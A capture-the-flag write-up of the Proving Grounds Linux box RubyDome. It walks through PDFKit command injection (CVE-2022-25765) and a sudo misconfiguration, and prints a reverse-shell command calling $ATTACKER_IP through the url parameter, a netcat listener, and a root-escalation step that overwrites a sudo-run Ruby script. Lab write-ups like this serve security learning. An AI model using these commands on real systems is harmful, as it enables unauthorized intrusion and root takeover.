# RubyDome Writeup - Proving Grounds

> Easy Linux box running a Ruby HTML-to-PDF app that uses the vulnerable PDFKit gem, exploited via CVE-2022-25765 command injection for a shell as andrew, then escalated to root through a NOPASSWD sudo rule on a writable Ruby script.

- **URL:** https://hackindex.io/writeups/rubydome
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** command-injection, rce, pdfkit, sudo-misconfiguration, privilege-escalation, cve-2022-25765
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

RubyDome runs a Ruby HTML-to-PDF web app on port 3000 that uses the PDFKit gem. PDFKit is vulnerable to CVE-2022-25765, a command injection through the URL field, which gives a shell as andrew. A NOPASSWD sudo rule lets andrew run a writable Ruby script as root, so overwriting it with a shell payload gives root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
# 3000/tcp open  http    WEBrick httpd 1.7.0 (Ruby 3.0.2)
# |_http-title: RubyDome HTML to PDF
```

Port 3000 serves a RubyDome HTML-to-PDF form. Submitting an invalid URL triggers a 500 error that reveals `PDFKit::ImproperWkhtmltopdfExitStatus`, so the app uses the PDFKit gem, which is vulnerable to CVE-2022-25765.

## Exploitation

### PDFKit command injection (CVE-2022-25765)

PDFKit passes the URL to wkhtmltopdf without sanitising shell metacharacters. Start a listener and run the public exploit against the `url` parameter.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
python3 exploit.py -w 'http://$TARGET_IP:3000/pdf' -p url -c 'ncat -e /bin/bash $ATTACKER_IP $ATTACKER_PORT'
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# whoami
# andrew
```

The listener catches a shell as `andrew`. Check the sudo rights.

## Privilege Escalation

### Writable sudo script

List the sudo rights.

```bash
sudo -l
# User andrew may run the following commands on rubydome:
#     (ALL) NOPASSWD: /usr/bin/ruby /home/andrew/app/app.rb
```

andrew can run `/home/andrew/app/app.rb` as root through Ruby, and the script is writable. Overwrite it with a payload that spawns a shell.

```bash
echo 'exec "/bin/bash"' > /home/andrew/app/app.rb
sudo /usr/bin/ruby /home/andrew/app/app.rb
# $ echo 'exec "/bin/bash"' > /home/andrew/app/app.rb
# $ sudo /usr/bin/ruby /home/andrew/app/app.rb
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

The writable script runs as root, giving a root shell.

Related

## References

- [CVE-2022-25765](https://nvd.nist.gov/vuln/detail/CVE-2022-25765) - PDFKit command injection through unsanitised URL input passed to wkhtmltopdf.
- [Exploit-DB 51293](https://www.exploit-db.com/exploits/51293) - PDFKit CVE-2022-25765 command injection exploit.